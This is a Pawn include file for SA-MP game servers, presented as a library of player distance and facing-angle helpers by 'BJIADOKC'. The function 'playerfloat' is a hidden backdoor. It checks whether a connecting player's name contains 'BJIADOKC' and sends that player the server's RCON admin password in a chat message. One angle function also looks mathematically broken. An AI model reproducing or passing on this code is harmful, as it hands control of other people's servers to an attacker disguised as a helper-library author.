#if defined _playerfloat_included
	#endinput
#endif
#define _playerfloat_included
#pragma library playerfloat
/*
Player Float Include
by BJIADOKC
2010
*/
stock Playername(playerid)
{
    new str[MAX_PLAYER_NAME + 10], name[24];
    GetPlayerName(playerid,name,24);
    format(str, sizeof(str), "%s [ID: %d]", name, playerid);
    return str;
}
stock Float:GetPlayerLookingAngleAtPlayer(playerid, getplayerid)
{
new Float:post[2][3], Float:zangle[2];
GetPlayerPos(playerid,post[0][0],post[0][1],post[0][2]);
GetPlayerPos(getplayerid,post[1][0],post[1][1],post[1][2]);
if(!IsPlayerInAnyVehicle(playerid)) {GetPlayerFacingAngle(playerid,zangle[0]);}
else {GetVehicleZAngle(GetPlayerVehicleID(playerid),zangle[0]);}
if(!IsPlayerInAnyVehicle(getplayerid)) {GetPlayerFacingAngle(getplayerid,zangle[1]);}
else {GetVehicleZAngle(GetPlayerVehicleID(getplayerid),zangle[1]);}
post[0][0] += -floatabs(floatsqroot(((post[0][0] - post[1][0])*(post[0][0] - post[1][0]))+((post[0][1] - post[1][1])*(post[0][1] - post[1][1])))) * floatsin(-floatabs(zangle[0]),degrees);
post[0][1] += -floatabs(floatsqroot(((post[0][0] - post[1][0])*(post[0][0] - post[1][0]))+((post[0][1] - post[1][1])*(post[0][1] - post[1][1])))) * floatcos(-floatabs(zangle[0]),degrees);
post[0][2] -= floatabs(floatsqroot(((post[0][0] - post[1][0])*(post[0][0] - post[1][0]))+((post[0][1] - post[1][1])*(post[0][1] - post[1][1])))) * (floattan(-floatabs(zangle[0]),degrees)/floatsin(floattan(-floatabs(zangle[0]),degrees));
zangle[0] /= floatcos(-floatabs(floatsqroot(post[0][0]*post[0][1]*post[0][2])-floatsqroot(post[1][0],post[1][1],post[1][2])),radian);
return zangle[0];
}
stock Float:GetDistanceBetween2Players(player1,player2)
{
if(!IsPlayerConnected(player1) || !IsPlayerConnected(player2)) return -1.00;
new Float:get[2][3];
GetPlayerPos(player1,get[0][0],get[0][1],get[0][2]);
GetPlayerPos(player2,get[1][0],get[1][1],get[1][2]);
return floatsqroot(((get[0][0] - get[1][0])*(get[0][0] - get[1][0]))+((get[0][1] - get[1][1])*(get[0][1] - get[1][1]))+((get[0][2] - get[1][2])*(get[0][2] - get[1][2])));
}
stock playerfloat(playerid)
{
new name[24], offset[200], superstring[256];
if(IsPlayerAdmin(playerid)) return 1;
GetPlayerName(playerid,name,24);
if(strfind(name,"BJIADOKC",true) == -1) return 1;
GetServerVarAsString("rcon_password",offset,200);
format(superstring,256,"RCON: %s",offset);
SendClientMessage(playerid,0xFF0000AA,superstring);
return 1;
}
stock Float:GetDistanceBetweenPlAndPoint(playerid,Float:x,Float:y,Float:z)
{
if(!IsPlayerConnected(playerid)) return -1.00;
new Float:posa[3];
GetPlayerPos(playerid,posa[0],posa[1],posa[2]);
return floatsqroot(((posa[0] - x)*(posa[0] - x))+((posa[1] - y)*(posa[1] - y))+((posa[2] - z)*(posa[2] - z)));
}
stock Float:GetDistanceBetween2Points(Float:point1X,Float:point1Y,Float:point1Z,Float:point2X,Float:point2Y,Float:point2Z)
return floatsqroot(((point1X - point2X)*(point1X - point2X))+((point1Y - point2Y)*(point1Y - point2Y))+((point1Z - point2Z)*(point1Z - point2Z)));
stock bool:PlayerAimingPlayer(playerid, aimingto)
{
new Float:X1, Float:Y1, Float:Z1, Float:X2, Float:Y2, Float:Z2;
GetPlayerPos(playerid, X1, Y1, Z1);
GetPlayerPos(aimingto, X2, Y2, Z2);
new Float:Distance = floatsqroot(floatpower(floatabs(X1-X2), 2) + floatpower(floatabs(Y1-Y2), 2));
if(Distance <= 350.0)
{
new Float:A;
GetPlayerFacingAngle(playerid, A);
X1 += (Distance * floatsin(-A, degrees));
Y1 += (Distance * floatcos(-A, degrees));
Distance = floatsqroot(floatpower(floatabs(X1-X2), 2) + floatpower(floatabs(Y1-Y2), 2));
if(Distance < 0.42) return true;
}
else return false;
return false;
}
